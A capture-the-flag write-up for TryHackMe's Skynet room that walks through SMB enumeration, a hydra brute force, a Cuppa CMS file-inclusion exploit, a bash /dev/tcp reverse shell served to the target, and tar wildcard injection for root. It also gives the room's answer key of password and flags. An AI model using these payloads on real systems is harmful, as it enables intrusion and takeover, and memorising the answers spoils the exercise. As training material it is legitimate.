This is a writeup for the Skynet room, available on the TryHackMe.

Today we will see privilege escalation using wildcard injection: crafting manipulated filenames, an attacker can insert parameters into commands that are run by other users, such as the root account.

Introduction

Room Description

2022-05-07 14_39_59-Clipboard.png

Notes & Observations

There is milesdyson share that indicates a possible username
In the CMS code, there is a bit of PHP code that includes files and can be abused: include($_REQUEST["urlConfig"]
After gaining access to the target machine one of the first tasks is always to check for scheduled tasks
Insecurely used tar command is a way of getting admin privileges through wildcard injection

Used tools: nmap, hydra, ffuf, netcat, smbclient

Walkthrough

Enumeration

Run the following nmap scan:
```
nmap $ip -sV -sC -T4
```
Check the available SMB shares, hit enter when prompted for a password:
```
smbclient -L //$ip -U guest
```
Go and check the anonymous share and download the log1.txt file (it contains strings that resemble passwords):
```
smbclient //$ip/anonymous
cd logs
get log1.txt
```

What is Miles' password for his emails?

Answer: cyborg007haloterminator

Run web directory enumeration with ffuf:

ffuf -u http://ip$/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt  -c -t 200

Go to this address: http://<IP:PORT>/squirrelmail/
Try to login with a random username and password. Notice the sent post request and the error message:
```
login_username=a&secretkey=b&js_autodetect_results=1&just_logged_in=1
```
Use hydra's http-post module to find the password for the email server. We know so far that the username is probably milesdyson (as the SMB share name suggests) and we have some log1.txt file with strings that may contain a correct password:
```
hydra $ip http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:password incorrect" -l milesdyson -P log1.txt -f -V
```

What is the hidden directory?

Answer: /45kra24zxs28v3yd

Login with milesdyson:cyborg007haloterminator credentials and locate the SMB password among the emails.:
Use the newly found SMB password to access the milesdyson share:
```
smbclient //$ip/milesdyson -U milesdyson
```

Access the file content of the \notes\important.txt:

get \notes\important.txt -

1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

What is the vulnerability called when you can include a remote file for malicious purposes?

Answer: Remote File Inclusion

What is the user flag?

Answer: 7ce5c2109a40f958099283600a9ae807

Run another ffuf web directory search:

ffuf -u http://10.10.235.79/45kra24zxs28v3yd/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -t 200

Use the newly found directory name and access the webpage:
```
http://$ip/45kra24zxs28v3yd/administrator/
```
- It's a Cuppa CMS based system.

Find Cuppa CMS related vulnerabilities. Based on this description you can get the content of the user.txt file:

http://$ip/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../home/milesdyson/user.txt

What is the root flag?

Answer: 3f0372db24753accc7179a282cd6a949

Prepare a PHP reverse shell with your IP and a specific port on your machine. You can use this simple one:
```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"); ?>
```
Serve this file through python webserver:
```
python3 -m http.server
```

Prepare a netcat listener and access the shell from the Cuppa CMS:

http://10.10.183.10/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.11.69.106:8000/shell.php

Check the crontab:
```
cat /etc/crontab
```
Check the backup.sh file's content:
It is a tar wildcard vulnerability

Let's set SUID on /bin/bash. Go to the /var/www/html folder and create these 3 files:

printf '#!/bin/bash\nchmod +s /bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Wait 1 minute and run /bin/bash -p command and get the root flag at the /root/root.txt location:

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